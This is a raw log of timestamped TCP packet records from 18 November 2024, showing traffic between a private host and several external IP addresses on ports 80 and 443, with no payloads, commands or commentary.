Nov 18, 2024 15:17:06.624715090 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.624742985 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.624754906 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.624761105 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.624766111 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.624772072 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.624778032 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.624835014 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.624916077 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.624929905 CET	443	49816	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:06.624958038 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.624982119 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.624993086 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.625042915 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.625044107 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.625078917 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.625092030 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.625102997 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.625116110 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.625134945 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.625189066 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.625242949 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.625255108 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.625269890 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.625279903 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.625292063 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.625303984 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.625308990 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.625308990 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.625369072 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.625390053 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.625416040 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.625474930 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.625494957 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.625504971 CET	49816	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:06.625505924 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.625572920 CET	443	49816	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:06.625602007 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.625624895 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.625624895 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.625632048 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.625643969 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.625654936 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.625674963 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.625682116 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.625688076 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.625686884 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.625744104 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.625760078 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.625845909 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.625858068 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.625900030 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.625925064 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.625937939 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.625950098 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.625961065 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.625974894 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.626013994 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.626013994 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.626104116 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.626116037 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.626143932 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.626214981 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.626240969 CET	49816	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:06.626246929 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.626260042 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.626271963 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.626286983 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.626293898 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.626296043 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.626301050 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.626306057 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.626313925 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.626319885 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.626327038 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.626328945 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.626329899 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.626332045 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.626338959 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.626351118 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.626357079 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.626357079 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.626385927 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.626399994 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.626722097 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.626733065 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.626744032 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.626754999 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.626789093 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.626827955 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.626868010 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.626878977 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.626889944 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.626903057 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.626915932 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.626921892 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.626928091 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.626931906 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.626931906 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.627016068 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.627028942 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.627031088 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.627039909 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.627051115 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.627063036 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.627074957 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.627087116 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.627090931 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.627090931 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.627099037 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.627110958 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.627123117 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.627124071 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.627130985 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.627134085 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.627147913 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.627166033 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.627194881 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.627194881 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.627274990 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.627573967 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.627587080 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.627604961 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.627615929 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.627629042 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.627640009 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.627643108 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.627676964 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.627676964 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.627758980 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.627773046 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.627790928 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.627795935 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.627798080 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.627803087 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.627857924 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.633135080 CET	443	49812	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:06.633162022 CET	443	49812	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:06.633214951 CET	49812	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:06.633234978 CET	443	49812	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:06.633261919 CET	49812	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:06.633289099 CET	49812	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:06.636127949 CET	443	49818	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:06.636362076 CET	49818	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:06.636375904 CET	443	49818	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:06.637419939 CET	443	49818	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:06.637485027 CET	49818	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:06.637917995 CET	49818	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:06.637995958 CET	443	49818	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:06.638183117 CET	49818	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:06.638192892 CET	443	49818	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:06.639111996 CET	443	49817	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:06.639341116 CET	49817	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:06.639352083 CET	443	49817	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:06.639913082 CET	443	49817	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:06.640505075 CET	49817	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:06.640573025 CET	443	49817	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:06.640680075 CET	49817	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:06.659261942 CET	49819	443	192.168.2.9	20.125.209.212
Nov 18, 2024 15:17:06.659318924 CET	443	49819	20.125.209.212	192.168.2.9
Nov 18, 2024 15:17:06.659490108 CET	49819	443	192.168.2.9	20.125.209.212
Nov 18, 2024 15:17:06.659576893 CET	49819	443	192.168.2.9	20.125.209.212
Nov 18, 2024 15:17:06.659589052 CET	443	49819	20.125.209.212	192.168.2.9
Nov 18, 2024 15:17:06.667332888 CET	443	49816	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:06.669354916 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.669442892 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.670454025 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.670578003 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.683336973 CET	443	49817	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:06.690972090 CET	49818	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:06.691083908 CET	49817	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:06.740979910 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.740998030 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.741009951 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.741097927 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.741131067 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.741133928 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.741142988 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.741153955 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.741190910 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.741198063 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.741202116 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.741245985 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.741257906 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.741744041 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.741756916 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.741770029 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.741811037 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.741842985 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.741843939 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.741858959 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.741871119 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.741883039 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.741890907 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.741895914 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.741913080 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.741959095 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.742084026 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.742094994 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.742105961 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.742119074 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.742130995 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.742141962 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.742155075 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.742157936 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.742157936 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.742203951 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.742203951 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.742398977 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.742412090 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.742424011 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.742444992 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.742468119 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.742494106 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.742516994 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.742528915 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.742542982 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.742552042 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.742577076 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.742624998 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.742631912 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.742638111 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.742650032 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.742683887 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.742698908 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.742717028 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.742729902 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.742742062 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.742780924 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.743340969 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.743354082 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.743366957 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.743422985 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.743422985 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.743452072 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.743463993 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.743475914 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.743488073 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.743499041 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.743516922 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.743516922 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.743554115 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.743601084 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.743613005 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.743645906 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.743714094 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.743747950 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.743761063 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.743772984 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.743784904 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.743796110 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.743817091 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.743817091 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.743954897 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.743967056 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.743976116 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.743979931 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.744018078 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.744040966 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.744059086 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.744072914 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.744086027 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.744086981 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.744086981 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.744096994 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.744126081 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.744143963 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.744175911 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.744179010 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.744194031 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.744204998 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.744216919 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.744223118 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.744230032 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.744240046 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.744249105 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.744647980 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.744659901 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.744673014 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.744683027 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.744689941 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.744705915 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.744744062 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.744816065 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.744827986 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.744839907 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.744851112 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.744904995 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.744916916 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.744920969 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.744920969 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.744927883 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.744940996 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.744951963 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.744966030 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.745033026 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.745148897 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.745161057 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.745172977 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.745186090 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.745198011 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.745208025 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.745218992 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.745229959 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.745232105 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.745232105 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.745239973 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.745253086 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.745265007 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.745280981 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.745296955 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.745296955 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.745326996 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.745502949 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.745515108 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.745527983 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.745538950 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.745546103 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.745552063 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.745565891 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.745600939 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.745616913 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.745635986 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.745716095 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.745820999 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.745832920 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.745846033 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.745857000 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.745868921 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.745877028 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.745881081 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.745892048 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.745903969 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.745914936 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.745927095 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.745929956 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.745929956 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.745938063 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.745949030 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.745953083 CET	49750	80	192.168.2.9	185.215.113.206
